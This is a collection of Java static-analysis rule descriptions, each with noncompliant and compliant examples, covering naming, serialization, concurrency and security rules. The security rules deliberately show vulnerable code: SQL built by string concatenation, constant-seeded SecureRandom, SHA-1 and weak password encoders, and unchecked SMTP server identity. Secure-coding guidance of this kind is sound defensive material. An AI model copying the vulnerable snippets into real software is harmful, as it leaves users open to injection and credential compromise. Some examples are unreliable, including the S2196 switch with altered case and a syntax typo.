When directly subclassing java.io.OutputStream or java.io.FilterOutputStream, the only requirement is that you implement the method write(int). However most uses for such streams don't write a single byte at a time and the default implementation for write(byte[],int,int) will call write(int) for every single byte in the array which can create a lot of overhead and is utterly inefficient. It is therefore strongly recommended that subclasses provide an efficient implementation of write(byte[],int,int).

This rule raises an issue when a direct subclass of java.io.OutputStream or java.io.FilterOutputStream doesn't provide an override of write(byte[],int,int).

Noncompliant Code Example

public class MyStream extends OutputStream { // Noncompliant
    private FileOutputStream fout;

    public MyStream(File file) throws IOException {
        fout = new FileOutputStream(file);
    }

    @Override
    public void write(int b) throws IOException {
        fout.write(b);
    }

    @Override
    public void close() throws IOException {
        fout.write("\n\n".getBytes());
        fout.close();
        super.close();
    }
}

Compliant Solution

public class MyStream extends OutputStream {
    private FileOutputStream fout;

    public MyStream(File file) throws IOException {
        fout = new FileOutputStream(file);
    }

    @Override
    public void write(int b) throws IOException {
        fout.write(b);
    }

    @Override
    public void write(byte[] b, int off, int len) throws IOException {
        fout.write(b, off, len);
    }

    @Override
    public void close() throws IOException {
        fout.write("\n\n".getBytes());
        fout.close();
        super.close();
    }
}

Exceptions

This rule doesn't raise an issue when the class is declared abstract.

java:S4347

The java.security.SecureRandom class provides a strong random number generator (RNG) appropriate for cryptography. However, seeding it with a constant or another predictable value will weaken it significantly. In general, it is much safer to rely on the seed provided by the SecureRandom implementation.

This rule raises an issue when SecureRandom.setSeed() or SecureRandom(byte[]) are called with a seed that is either of:

  • a constant
  • System.currentTimeMillis()

Noncompliant Code Example

SecureRandom sr = new SecureRandom();
sr.setSeed(123456L); // Noncompliant
int v = sr.next(32);

sr = new SecureRandom("abcdefghijklmnop".getBytes("us-ascii")); // Noncompliant
v = sr.next(32);

Compliant Solution

SecureRandom sr = new SecureRandom();
int v = sr.next(32);

See

java:S119

Shared naming conventions make it possible for a team to collaborate efficiently. Following the established convention of single-letter type parameter names helps users and maintainers of your code quickly see the difference between a type parameter and a poorly named class.

This rule check that all type parameter names match a provided regular expression. The following code snippets use the default regular expression.

Noncompliant Code Example

public class MyClass<TYPE> { // Noncompliant
  <TYPE> void method(TYPE t) { // Noncompliant
  }
}

Compliant Solution

public class MyClass<T> {
  <T> void method(T t) {
  }
}
java:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z][a-zA-Z0-9]*$:

public void doSomething(int my_param) {
  int LOCAL;
  ...
}

Compliant Solution

public void doSomething(int myParam) {
  int local;
  ...
}

Exceptions

Loop counters are ignored by this rule.

for (int i_1 = 0; i_1 < limit; i_1++) {  // Compliant
  // ...
}

as well as one-character catch variables:

try {
//...
} catch (Exception e) { // Compliant
}
java:S3281

Default interceptors, such as application security interceptors, must be listed in the ejb-jar.xml file, or they will not be treated as default.

This rule applies to projects that contain JEE Beans (any one of javax.ejb.Singleton, MessageDriven, Stateless or Stateful).

Noncompliant Code Example

// file: ejb-interceptors.xml
<assembly-descriptor>
 <interceptor-binding> <!-- should be declared in ejb-jar.xml -->
      <ejb-name>*</ejb-name>
      <interceptor-class>com.myco.ImportantInterceptor</interceptor-class><!-- Noncompliant; will NOT be treated as default -->
   </interceptor-binding>
</assembly-descriptor>

Compliant Solution

// file: ejb-jar.xml
<assembly-descriptor>
 <interceptor-binding>
      <ejb-name>*</ejb-name>
      <interceptor-class>com.myco.ImportantInterceptor</interceptor-class>
   </interceptor-binding>
</assembly-descriptor>

See

java:S118

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all abstract class names match a provided regular expression. If a non-abstract class match the regular expression, an issue is raised to suggest to either make it abstract or to rename it.

Noncompliant Code Example

With the default regular expression: ^Abstract[A-Z][a-zA-Z0-9]*$:

abstract class MyClass { // Noncompliant
}

class AbstractLikeClass { // Noncompliant
}

Compliant Solution

abstract class AbstractClass {
}

class LikeClass {
}
java:S2070

The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160.

The following APIs are tracked for use of obsolete crypto algorithms:

  • java.security.AlgorithmParameters (JDK)
  • java.security.AlgorithmParameterGenerator (JDK)
  • java.security.MessageDigest (JDK)
  • java.security.KeyFactory (JDK)
  • java.security.KeyPairGenerator (JDK)
  • java.security.Signature (JDK)
  • javax.crypto.Mac (JDK)
  • javax.crypto.KeyGenerator (JDK)
  • org.apache.commons.codec.digest.DigestUtils (Apache Commons Codec)
  • org.springframework.util.DigestUtils
  • com.google.common.hash.Hashing (Guava)
  • org.springframework.security.authentication.encoding.ShaPasswordEncoder (Spring Security 4.2.x)
  • org.springframework.security.authentication.encoding.Md5PasswordEncoder (Spring Security 4.2.x)
  • org.springframework.security.crypto.password.LdapShaPasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.Md4PasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.MessageDigestPasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.NoOpPasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.StandardPasswordEncoder (Spring Security 5.0.x)

Consider using safer alternatives, such as SHA-256, SHA-3 or adaptive one way functions like bcrypt or PBKDF2.

Noncompliant Code Example

MessageDigest md = MessageDigest.getInstance("SHA1");  // Noncompliant

Compliant Solution

MessageDigest md = MessageDigest.getInstance("SHA-256");

See

Deprecated

This rule is deprecated; use S4790, S5344 instead.

java:S115

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[A-Z][A-Z0-9]*(_[A-Z0-9]+)*$:

public class MyClass {
  public static final int first = 1;
}

public enum MyEnum {
  first;
}

Compliant Solution

public class MyClass {
  public static final int FIRST = 1;
}

public enum MyEnum {
  FIRST;
}
java:S116

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z][a-zA-Z0-9]*$:

class MyClass {
   private int my_field;
}

Compliant Solution

class MyClass {
   private int myField;
}
java:S3282

Exclusions for default interceptors can be declared either in xml or as class annotations. Since annotations are more visible to maintainers, they are preferred.

Noncompliant Code Example

<assembly-descriptor>
      <interceptor-binding>
         <ejb-name>MyExcludedClass</ejb-name>
         <exclude-default-interceptors>true</exclude-default-interceptors> <!-- Noncompliant -->
         <exclude-class-interceptors>true</exclude-class-interceptors> <!-- Noncomopliant -->
         <method>
           <method-name>doTheThing</method-name>
         </method>
      </interceptor-binding>

</assembly-descriptor>

Compliant Solution

@ExcludeDefaultInterceptors
public class MyExcludedClass implements MessageListener
{

  @ExcludeClassInterceptors
  @ExcludeDefaultInterceptors
  public void doTheThing() {
    // ...
  }
java:S4011

This rule allows banning usage of certain constructors.

Noncompliant Code Example

Given parameters:

  • className: java.util.Date
  • argumentTypes: java.lang.String
Date birthday;
birthday = new Date("Sat Sep 27 05:42:21 EDT 1986");  // Noncompliant
birthday = new Date(528176541000L); // Compliant
java:S113

Some tools work better when files end with an empty line.

This rule simply generates an issue if it is missing.

For example, a Git diff looks like this if the empty line is missing at the end of the file:

+class Test {
+}
\ No newline at end of file
java:S2196

Since Java 7, Strings can be used as switch arguments. So when a single String is tested against three or more values in an if/else if structure, it should be converted to a switch instead for greater readability.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 7.

Noncompliant Code Example

if ("red".equals(choice)) {  // Noncompliant
  dispenseRed();
} else if ("blue".equals(choice)) {
  dispenseBlue();
} else if ("yellow".equals(choice)) {
  dispenseYellow();
} else {
  promptUser();
}

Compliant Solution

switch(choice) {
  case "Red":
    dispenseRed();
    break;
  case "Blue":
    dispenseBlue():
    break;
  case "Yellow":
    dispenseYellow();
    break;
  default:
    promptUser();
    break;
}
java:S114

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that all interface names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[A-Z][a-zA-Z0-9]*$:

public interface myInterface {...} // Noncompliant

Compliant Solution

public interface MyInterface {...}
java:S3042

The purpose of synchronization is to ensure that only one thread executes a given block of code at a time. There's no real problem with marking writeObject synchronized, but it's highly suspicious if this serialization-related method is the only synchronized code in a class.

Noncompliant Code Example

public class RubberBall {

  private Color color;
  private int diameter;

  public RubberBall(Color color, int diameter) {
    // ...
  }

  public void bounce(float angle, float velocity) {
    // ...
  }

  private synchronized void writeObject(ObjectOutputStream stream) throws IOException { // Noncompliant
    // ...
  }
}

Compliant Solution

public class RubberBall {

  private Color color;
  private int diameter;

   public RubberBall(Color color, int diameter) {
    // ...
  }

  public void bounce(float angle, float velocity) {
    // ...
  }

  private void writeObject(ObjectOutputStream stream) throws IOException {
    // ...
  }
}
java:S2077

Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities:

SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms.

This rule raises an issue when an SQL query is built by formatting Strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice.

The following method signatures from Java JDBC, JPA, JDO, Hibernate and Spring are tested:

  • org.hibernate.Session.createQuery
  • org.hibernate.Session.createSQLQuery
  • java.sql.Statement.executeQuery
  • java.sql.Statement.execute
  • java.sql.Statement.executeUpdate
  • java.sql.Statement.executeLargeUpdate
  • java.sql.Statement.addBatch
  • java.sql.Connection.prepareStatement
  • java.sql.Connection.prepareCall
  • java.sql.Connection.nativeSQL
  • javax.persistence.EntityManager.createNativeQuery
  • javax.persistence.EntityManager.createQuery
  • org.springframework.jdbc.core.JdbcOperations.batchUpdate
  • org.springframework.jdbc.core.JdbcOperations.execute
  • org.springframework.jdbc.core.JdbcOperations.query
  • org.springframework.jdbc.core.JdbcOperations.queryForList
  • org.springframework.jdbc.core.JdbcOperations.queryForMap
  • org.springframework.jdbc.core.JdbcOperations.queryForObject
  • org.springframework.jdbc.core.JdbcOperations.queryForRowSet
  • org.springframework.jdbc.core.JdbcOperations.queryForInt
  • org.springframework.jdbc.core.JdbcOperations.queryForLong
  • org.springframework.jdbc.core.JdbcOperations.update
  • org.springframework.jdbc.core.PreparedStatementCreatorFactory.<init>
  • org.springframework.jdbc.core.PreparedStatementCreatorFactory.newPreparedStatementCreator
  • javax.jdo.PersistenceManager.newQuery
  • javax.jdo.Query.setFilter
  • javax.jdo.Query.setGrouping

If a method is defined in an interface, implementations are also tested. For example this is the case for org.springframework.jdbc.core.JdbcOperations , which is usually used as org.springframework.jdbc.core.JdbcTemplate).

Ask Yourself Whether

  • the SQL query is built using string formatting technics, such as concatenating variables.
  • some of the values are coming from an untrusted source and are not sanitized.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Avoid building queries manually using formatting technics. If you do it anyway, do not include user input in this building process.
  • Use parameterized queries, prepared statements, or stored procedures whenever possible.
  • You may also use ORM frameworks such as Hibernate which, if used correctly, reduce injection risks.
  • Avoid executing SQL queries containing unsafe input in stored procedures or functions.
  • Sanitize every unsafe input.

You can also reduce the impact of an attack by using a database account with low privileges.

Sensitive Code Example

public User getUser(Connection con, String user) throws SQLException {

  Statement stmt1 = null;
  Statement stmt2 = null;
  PreparedStatement pstmt;
  try {
    stmt1 = con.createStatement();
    ResultSet rs1 = stmt1.executeQuery("GETDATE()"); // No issue; hardcoded query

    stmt2 = con.createStatement();
    ResultSet rs2 = stmt2.executeQuery("select FNAME, LNAME, SSN " +
                 "from USERS where UNAME=" + user);  // Sensitive

    pstmt = con.prepareStatement("select FNAME, LNAME, SSN " +
                 "from USERS where UNAME=" + user);  // Sensitive
    ResultSet rs3 = pstmt.executeQuery();

    //...
}

public User getUserHibernate(org.hibernate.Session session, String data) {

  org.hibernate.Query query = session.createQuery(
            "FROM students where fname = " + data);  // Sensitive
  // ...
}

Compliant Solution

public User getUser(Connection con, String user) throws SQLException {

  Statement stmt1 = null;
  PreparedStatement pstmt = null;
  String query = "select FNAME, LNAME, SSN " +
                 "from USERS where UNAME=?"
  try {
    stmt1 = con.createStatement();
    ResultSet rs1 = stmt1.executeQuery("GETDATE()");

    pstmt = con.prepareStatement(query);
    pstmt.setString(1, user);  // Good; PreparedStatements escape their inputs.
    ResultSet rs2 = pstmt.executeQuery();

    //...
  }
}

public User getUserHibernate(org.hibernate.Session session, String data) {

  org.hibernate.Query query =  session.createQuery("FROM students where fname = ?");
  query = query.setParameter(0,data);  // Good; Parameter binding escapes all input

  org.hibernate.Query query2 =  session.createQuery("FROM students where fname = " + data); // Sensitive
  // ...

See

java:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

if(someCondition) doSomething();

Compliant Solution

if(someCondition) {
  doSomething();
}
java:S2197

When the modulus of a negative number is calculated, the result will either be negative or zero. Thus, comparing the modulus of a variable for equality with a positive number (or a negative one) could result in unexpected results.

Noncompliant Code Example

public boolean isOdd(int x) {
  return x % 2 == 1;  // Noncompliant; if x is an odd negative, x % 2 == -1
}

Compliant Solution

public boolean isOdd(int x) {
  return x % 2 != 0;
}

See

  • CERT, NUM51-J. - Do not assume that the remainder operator always returns a nonnegative result for integral operands
  • CERT, INT10-C - Do not assume a positive remainder when using the % operator
java:S4499

This rule raises an issue when:

- a JavaMail's javax.mail.Session is created with a Properties object having no mail.smtp.ssl.checkserveridentity or mail.smtps.ssl.checkserveridentity not configured to true

- a Apache Common Emails's org.apache.commons.mail.SimpleEmail is used with setSSLOnConnect(true) or setStartTLSEnabled(true) or setStartTLSRequired(true) without a call to setSSLCheckServerIdentity(true)

Noncompliant Code Example

Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true); // Noncompliant; setSSLCheckServerIdentity(true) should also be called before sending the email
email.send();
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); // Noncompliant; Session is created without having "mail.smtp.ssl.checkserveridentity" set to true
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
  protected PasswordAuthentication getPasswordAuthentication() {
    return new PasswordAuthentication("username@gmail.com", "password");
  }
});

Compliant Solution

Email email = new SimpleEmail();
email.setSmtpPort(465);
email.setAuthenticator(new DefaultAuthenticator(username, password));
email.setSSLOnConnect(true);
email.setSSLCheckServerIdentity(true); // Compliant
email.send();
Properties props = new Properties();
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.socketFactory.port", "465");
props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
props.put("mail.smtp.auth", "true");
props.put("mail.smtp.port", "465");
props.put("mail.smtp.ssl.checkserveridentity", true); // Compliant
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() {
  protected PasswordAuthentication getPasswordAuthentication() {
    return new PasswordAuthentication("username@gmail.com", "password");
  }
});

See

Deprecated

This rule is deprecated; use S5527 instead.

java:S120

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all package names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z_]+(\.[a-z_][a-z0-9_]*)*$:

package org.exAmple; // Noncompliant

Compliant Solution

package org.example;
java:S3047

When a method loops multiple over the same set of data, whether it's a list or a set of numbers, it is highly likely that the method could be made more efficient by combining the loops into a single set of iterations.

Noncompliant Code Example

public void doSomethingToAList(List<String> strings) {
  for (String str : strings) {
    doStep1(str);
  }
  for (String str : strings) {  // Noncompliant
    doStep2(str);
  }
}

Compliant Solution

public void doSomethingToAList(List<String> strings) {
  for (String str : strings) {
    doStep1(str);
    doStep2(str);
  }
}
java:S121

While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance.

Noncompliant Code Example

if (condition)  // Noncompliant
  executeSomething();

Compliant Solution

if (condition) {
  executeSomething();
}

See

  • CERT, EXP19-C. - Use braces for the body of an if, for, or while statement
  • CERT, EXP52-J. - Use braces for the body of an if, for, or while statement
java:S5344

Storing users' passwords in clear-text in a database is definitely not safe as hackers may have read access to all user accounts stored in the database. It's common then to hash passwords and only store these hashes in the database. When running the authentication process, the hash of the password provided by the user is compared to the hash stored in the database. If both matches, the access is granted.

This looks like a perfect solution but some algorithms such as MD5 and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them.

That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160.

For this reason, when PasswordEncoder is used to authenticate user in a Spring application, it should use a secure algorithm. The following algorithms are considered not safe and should not be used:

  • org.springframework.security.authentication.encoding.ShaPasswordEncoder (Spring Security 4.2.x)
  • org.springframework.security.authentication.encoding.Md5PasswordEncoder (Spring Security 4.2.x)
  • org.springframework.security.crypto.password.LdapShaPasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.Md4PasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.MessageDigestPasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.NoOpPasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.password.StandardPasswordEncoder (Spring Security 5.0.x)
  • org.springframework.security.crypto.scrypt.SCryptPasswordEncoder (Spring Security 5.0.x)

Consider using safer alternatives, such as org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder (preferred) or org.springframework.security.crypto.password.Pbkdf2PasswordEncoder.

Noncompliant Code Example

    @Autowired
    public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
        auth.jdbcAuthentication()
                .dataSource(dataSource)
                .usersByUsernameQuery("SELECT * FROM users WHERE username = ?")
                .passwordEncoder(new StandardPasswordEncoder()); // Noncompliant
        // OR
        auth.jdbcAuthentication()
                .dataSource(dataSource)
                .usersByUsernameQuery("SELECT * FROM users WHERE username = ?"); // Noncompliant; default uses plain-text
        // OR
        auth.userDetailsService(...); // Noncompliant; default uses plain-text
        // OR
        auth.userDetailsService(...).passwordEncoder(new StandardPasswordEncoder()); // Noncompliant
    }

Compliant Solution

    @Autowired
    public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
        auth.jdbcAuthentication()
                .dataSource(dataSource)
                .usersByUsernameQuery("Select * from users where username=?")
                .passwordEncoder(new BCryptPasswordEncoder());
        // or
        auth.userDetailsService(null).passwordEncoder(new BCryptPasswordEncoder());
    }

See

java:S3046

When two locks are held simultaneously, a wait call only releases one of them. The other will be held until some other thread requests a lock on the awaited object. If no unrelated code tries to lock on that object, then all other threads will be locked out, resulting in a deadlock.

Noncompliant Code Example

synchronized (this.mon1) {  // threadB can't enter this block to request this.mon2 lock & release threadA
	synchronized (this.mon2) {
		this.mon2.wait();  // Noncompliant; threadA is stuck here holding lock on this.mon1
	}
}
java:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for (int i = 0; i < 42; i++){}  // Empty on purpose or missing piece of code ?

Exceptions

When a block contains a comment, this block is not considered to be empty unless it is a synchronized block. synchronized blocks are still considered empty even with comments because they can still affect program flow.

java:S109

A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc.

Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time.

That is why magic numbers must be demystified by first being assigned to clearly named variables before being used.

-1, 0 and 1 are not considered magic numbers.

Noncompliant Code Example

public static void doSomething() {
	for(int i = 0; i < 4; i++){                 // Noncompliant, 4 is a magic number
		...
	}
}

Compliant Solution

public static final int NUMBER_OF_CYCLES = 4;
public static void doSomething() {
  for(int i = 0; i < NUMBER_OF_CYCLES ; i++){
    ...
  }
}

Exceptions

This rule ignores hashCode methods.

java:S2060

An Externalizable class is one which handles its own Serialization and deserialization. During deserialization, the first step in the process is a default instantiation using the class' no-argument constructor. Therefore an Externalizable class without a no-arg constructor cannot be deserialized.

Noncompliant Code Example

public class Tomato implements Externalizable {  // Noncompliant; no no-arg constructor

  public Tomato (String color, int weight) { ... }
}

Compliant Solution

public class Tomato implements Externalizable {

  public Tomato() { ... }
  public Tomato (String color, int weight) { ... }
}
java:S106

When logging a message there are several important requirements which must be fulfilled:

  • The user must be able to easily retrieve the logs
  • The format of all logged message must be uniform to allow the user to easily read the log
  • Logged data must actually be recorded
  • Sensitive data must only be logged securely

If a program directly writes to the standard outputs, there is absolutely no way to comply with those requirements. That's why defining and using a dedicated logger is highly recommended.

Noncompliant Code Example

System.out.println("My Message");  // Noncompliant

Compliant Solution

logger.log("My Message");

See

java:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

public void doSomething(int param1, int param2, int param3, String param4, long param5) {
...
}

Compliant Solution

public void doSomething(int param1, int param2, int param3, String param4) {
...
}

Exceptions

Methods annotated with Spring's @RequestMapping (and related shortcut annotations, like @GetRequest) or @JsonCreator may have a lot of parameters, encapsulation being possible. Such methods are therefore ignored.

java:S2062

The readResolve() method allows final tweaks to the state of an object during deserialization. Non-final classes which implement readResolve(), should not set its visibility to private since it will then be unavailable to child classes.

Noncompliant Code Example

public class Fruit implements Serializable {
  private static final long serialVersionUID = 1;

  private Object readResolve() throws ObjectStreamException  // Noncompliant
  {...}

  //...
}

public class Raspberry extends Fruit implements Serializable {  // No access to parent's readResolve() method
  //...
}

Compliant Solution

public class Fruit implements Serializable {
  private static final long serialVersionUID = 1;

  protected Object readResolve() throws ObjectStreamException
  {...}

  //...
}

public class Raspberry extends Fruit implements Serializable {
  //...
}
java:S2183

Since an int is a 32-bit variable, shifting by more than +/-31 is confusing at best and an error at worst. When the runtime shifts 32-bit integers, it uses the lowest 5 bits of the shift count operand. In other words, shifting an int by 32 is the same as shifting it by 0, and shifting it by 33 is the same as shifting it by 1.

Similarly, when shifting 64-bit integers, the runtime uses the lowest 6 bits of the shift count operand and shifting long by 64 is the same as shifting it by 0, and shifting it by 65 is the same as shifting it by 1.

Noncompliant Code Example

public int shift(int a) {
  int x = a >> 32; // Noncompliant
  return a << 48;  // Noncompliant
}

Compliant Solution

public int shift(int a) {
  int x = a >> 31;
  return a << 16;
}

Exceptions

This rule doesn't raise an issue when the shift by zero is obviously for cosmetic reasons:

  • When the value shifted is a literal.
  • When there is a similar shift at the same position on line before or after. E.g.:
bytes[loc+0] = (byte)(value >> 8);
bytes[loc+1] = (byte)(value >> 0);
java:S3030

Importing a class statically allows you to use its public static members without qualifying them with the class name. That can be handy, but if you import too many classes statically, your code can become confusing and difficult to maintain.

Noncompliant Code Example

With the default threshold value: 4

import static java.lang.Math.*;
import static java.util.Collections.*;
import static com.myco.corporate.Constants.*;
import static com.myco.division.Constants.*;
import static com.myco.department.Constants.*;  // Noncompliant
java:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

java:S2061

Writers of Serializable classes can choose to let Java's automatic mechanisms handle serialization and deserialization, or they can choose to handle it themselves by implementing specific methods. However, if the signatures of those methods are not exactly what is expected, they will be ignored and the default serialization mechanisms will kick back in.

Noncompliant Code Example

public class Watermelon implements Serializable {
  // ...
  void writeObject(java.io.ObjectOutputStream out)// Noncompliant; not private
        throws IOException
  {...}

  private void readObject(java.io.ObjectInputStream in)
  {...}

  public void readObjectNoData()  // Noncompliant; not private
  {...}

  static Object readResolve() throws ObjectStreamException  // Noncompliant; this method may have any access modifier, may not be static

  Watermelon writeReplace() throws ObjectStreamException // Noncompliant; this method may have any access modifier, but must return Object
  {...}
}

Compliant Solution

public class Watermelon implements Serializable {
  // ...
  private void writeObject(java.io.ObjectOutputStream out)
        throws IOException
  {...}

  private void readObject(java.io.ObjectInputStream in)
        throws IOException, ClassNotFoundException
  {...}

  private void readObjectNoData()
        throws ObjectStreamException
  {...}

  protected Object readResolve() throws ObjectStreamException
  {...}

  private Object writeReplace() throws ObjectStreamException
  {...}

See

  • CERT, SER01-J. - Do not deviate from the proper signatures of serialization methods
java:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

java:S2185

Certain math operations are just silly and should not be performed because their results are predictable.

In particular, anyValue % 1 is silly because it will always return 0.

Casting a non-floating-point value to floating-point and then passing it to Math.round, Math.ceil, or Math.floor is silly because the result will always be the original value.

These operations are silly with any constant value: Math.abs, Math.ceil, Math.floor, Math.rint, Math.round.

And these oprations are silly with certain constant values:

Operation Value
acos 0.0 or 1.0
asin 0.0 or 1.0
atan 0.0 or 1.0
atan2 0.0
cbrt 0.0 or 1.0
cos 0.0
cosh 0.0
exp 0.0 or 1.0
expm1 0.0
log 0.0 or 1.0
log10 0.0 or 1.0
sin 0.0
sinh 0.0
sqrt 0.0 or 1.0
tan 0.0
tanh 0.0
toDegrees 0.0 or 1.0
toRadians 0.0

Noncompliant Code Example

public void doMath(int a) {
  double floor = Math.floor((double)a); // Noncompliant
  double ceiling = Math.ceil(4.2);  // Noncompliant
  double arcTan = Math.atan(0.0);  // Noncompliant
}
java:S3032

Using the standard getClassLoader() may not return the right class loader in a JEE context. Instead, go through the currentThread.

Noncompliant Code Example

ClassLoader cl = this.getClass().getClassLoader();  // Noncompliant

Compliant Solution

ClassLoader cl = Thread.currentThread().getContextClassLoader();
java:S2184

When arithmetic is performed on integers, the result will always be an integer. You can assign that result to a long, double, or float with automatic type conversion, but having started as an int or long, the result will likely not be what you expect.

For instance, if the result of int division is assigned to a floating-point variable, precision will have been lost before the assignment. Likewise, if the result of multiplication is assigned to a long, it may have already overflowed before the assignment.

In either case, the result will not be what was expected. Instead, at least one operand should be cast or promoted to the final type before the operation takes place.

Noncompliant Code Example

float twoThirds = 2/3; // Noncompliant; int division. Yields 0.0
long millisInYear = 1_000*3_600*24*365; // Noncompliant; int multiplication. Yields 1471228928
long bigNum = Integer.MAX_VALUE + 2; // Noncompliant. Yields -2147483647
long bigNegNum =  Integer.MIN_VALUE-1; //Noncompliant, gives a positive result instead of a negative one.
Date myDate = new Date(seconds * 1_000); //Noncompliant, won't produce the expected result if seconds > 2_147_483
...
public long compute(int factor){
  return factor * 10_000;  //Noncompliant, won't produce the expected result if factor > 214_748
}

public float compute2(long factor){
  return factor / 123;  //Noncompliant, will be rounded to closest long integer
}

Compliant Solution

float twoThirds = 2f/3; // 2 promoted to float. Yields 0.6666667
long millisInYear = 1_000L*3_600*24*365; // 1000 promoted to long. Yields 31_536_000_000
long bigNum = Integer.MAX_VALUE + 2L; // 2 promoted to long. Yields 2_147_483_649
long bigNegNum =  Integer.MIN_VALUE-1L; // Yields -2_147_483_649
Date myDate = new Date(seconds * 1_000L);
...
public long compute(int factor){
  return factor * 10_000L;
}

public float compute2(long factor){
  return factor / 123f;
}

or

float twoThirds = (float)2/3; // 2 cast to float
long millisInYear = (long)1_000*3_600*24*365; // 1_000 cast to long
long bigNum = (long)Integer.MAX_VALUE + 2;
long bigNegNum =  (long)Integer.MIN_VALUE-1;
Date myDate = new Date((long)seconds * 1_000);
...
public long compute(long factor){
  return factor * 10_000;
}

public float compute2(float factor){
  return factor / 123;
}

See

  • MITRE, CWE-190 - Integer Overflow or Wraparound
  • CERT, NUM50-J. - Convert integers to floating point for floating-point operations
  • CERT, INT18-C. - Evaluate integer expressions in a larger size before comparing or assigning to that size
  • SANS Top 25 - Risky Resource Management
java:S2063

A non-serializable Comparator can prevent an otherwise-Serializable ordered collection from being serializable. Since the overhead to make a Comparator serializable is usually low, doing so can be considered good defensive programming.

Noncompliant Code Example

public class FruitComparator implements Comparator<Fruit> {  // Noncompliant
  int compare(Fruit f1, Fruit f2) {...}
  boolean equals(Object obj) {...}
}

Compliant Solution

public class FruitComparator implements Comparator<Fruit>, Serializable {
  private static final long serialVersionUID = 1;

  int compare(Fruit f1, Fruit f2) {...}
  boolean equals(Object obj) {...}
}
java:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

java:S2066

Serializing a non-static inner class will result in an attempt at serializing the outer class as well. If the outer class is not serializable, then serialization will fail, resulting in a runtime error.

Making the inner class static (i.e. "nested") avoids this problem, therefore inner classes should be static if possible. However, you should be aware that there are semantic differences between an inner class and a nested one:

  • an inner class can only be instantiated within the context of an instance of the outer class.
  • a nested (static) class can be instantiated independently of the outer class.

Noncompliant Code Example

public class Pomegranate {
  // ...

  public class Seed implements Serializable {  // Noncompliant; serialization will fail
    // ...
  }
}

Compliant Solution

public class Pomegranate {
  // ...

  public static class Seed implements Serializable {
    // ...
  }
}

See

java:S3034

When reading bytes in order to build other primitive values such as ints or longs, the byte values are automatically promoted, but that promotion can have unexpected results.

